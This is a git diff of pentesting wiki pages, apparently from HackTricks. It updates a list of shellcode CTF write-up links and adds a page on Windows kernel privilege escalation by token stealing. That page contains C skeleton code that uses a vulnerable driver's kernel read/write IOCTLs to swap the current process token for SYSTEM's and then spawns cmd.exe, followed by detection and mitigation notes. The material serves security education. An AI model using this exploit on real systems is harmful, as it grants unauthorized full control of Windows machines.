- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||||
- 64位,ASLR与栈地址泄漏,写入shellcode并跳转到它
|
- 64bit,ASLR,有 stack 地址 leak,写入 shellcode 并 jump 到它
|
||||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||||
- 32位,ASLR与栈泄漏,写入shellcode并跳转到它
|
- 32 bit,ASLR,stack leak,写入 shellcode 并 jump 到它
|
||||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||||
- 32位,ASLR与栈泄漏,比较以防止调用exit(),用一个值覆盖变量并写入shellcode并跳转到它
|
- 32 bit,ASLR,stack leak,通过比较防止调用 exit(),覆盖变量为某值并写入 shellcode 并 jump 到它
|
||||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||||
- arm64,无ASLR,ROP小工具使栈可执行并跳转到栈中的shellcode
|
- arm64,无 ASLR,使用 ROP gadget 使 stack 可执行并 jump 到 stack 中的 shellcode
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||||
|
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,122 @@
|
|||||||
|
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS.
|
||||||
|
|
||||||
|
Why it works:
|
||||||
|
- Each process has an EPROCESS structure that contains (among other fields) a Token (actually an EX_FAST_REF to a token object).
|
||||||
|
- The SYSTEM process (PID 4) holds a token with all privileges enabled.
|
||||||
|
- Replacing the current process’ EPROCESS.Token with the SYSTEM token pointer makes the current process run as SYSTEM immediately.
|
||||||
|
|
||||||
|
> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
|
||||||
|
|
||||||
|
## High-level steps
|
||||||
|
|
||||||
|
1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
|
||||||
|
- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
|
||||||
|
- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
|
||||||
|
2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS.
|
||||||
|
3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
|
||||||
|
- EPROCESS_SYSTEM (for SYSTEM)
|
||||||
|
- EPROCESS_SELF (for the current process)
|
||||||
|
4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||||
|
- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
|
||||||
|
5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent.
|
||||||
|
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||||
|
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||||
|
6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
|
||||||
|
7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
|
||||||
|
|
||||||
|
## Pseudocode
|
||||||
|
|
||||||
|
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
|
||||||
|
```c
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Psapi.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
// Device + IOCTLs are driver-specific
|
||||||
|
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||||
|
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||||
|
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||||
|
|
||||||
|
// Version-specific (examples only – resolve per build!)
|
||||||
|
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||||
|
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||||
|
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||||
|
|
||||||
|
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||||
|
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||||
|
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||||
|
}
|
||||||
|
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||||
|
struct { uint64_t addr, val; } in; DWORD ret;
|
||||||
|
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get ntoskrnl base (one option)
|
||||||
|
uint64_t get_nt_base(void) {
|
||||||
|
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||||
|
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||||
|
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||||
|
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||||
|
|
||||||
|
// 1) Resolve PsInitialSystemProcess
|
||||||
|
uint64_t nt = get_nt_base();
|
||||||
|
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||||
|
|
||||||
|
// 2) Read SYSTEM EPROCESS
|
||||||
|
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||||
|
|
||||||
|
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||||
|
DWORD myPid = GetCurrentProcessId();
|
||||||
|
uint64_t cur = EPROC_SYS; // list is circular
|
||||||
|
uint64_t EPROC_ME = 0;
|
||||||
|
do {
|
||||||
|
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||||
|
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||||
|
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||||
|
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||||
|
} while (cur != EPROC_SYS);
|
||||||
|
|
||||||
|
// 4) Read tokens
|
||||||
|
uint64_t tok_sys, tok_me;
|
||||||
|
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||||
|
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||||
|
|
||||||
|
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||||
|
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||||
|
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||||
|
|
||||||
|
// 6) Write back
|
||||||
|
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||||
|
|
||||||
|
// 7) We are SYSTEM now
|
||||||
|
system("cmd.exe");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
注意:
|
||||||
|
- 偏移:使用 WinDbg 的 `dt nt!_EPROCESS` 配合目标的 PDBs,或使用运行时符号加载器,以获取正确的偏移。不要盲目硬编码。
|
||||||
|
- 掩码:在 x64 上 token 是一个 EX_FAST_REF;低 3 位是引用计数位。保留你 token 的原始低位可以避免立即的引用计数不一致。
|
||||||
|
- 稳定性:优先提升当前进程;如果你提升的是一个短生命周期的 helper,当它退出时你可能会失去 SYSTEM。
|
||||||
|
|
||||||
|
## 检测 & 缓解
|
||||||
|
- 加载未签名或不受信任的第三方驱动并暴露强大的 IOCTLs 是根本原因。
|
||||||
|
- Kernel Driver Blocklist (HVCI/CI)、DeviceGuard 和 Attack Surface Reduction 规则可以阻止易受攻击的驱动加载。
|
||||||
|
- EDR 可以监视实现任意读/写的可疑 IOCTL 序列以及 token swaps。
|
||||||
|
|
||||||
|
## References
|
||||||
|
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||||
|
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
Loading…
x
Reference in New Issue
Block a user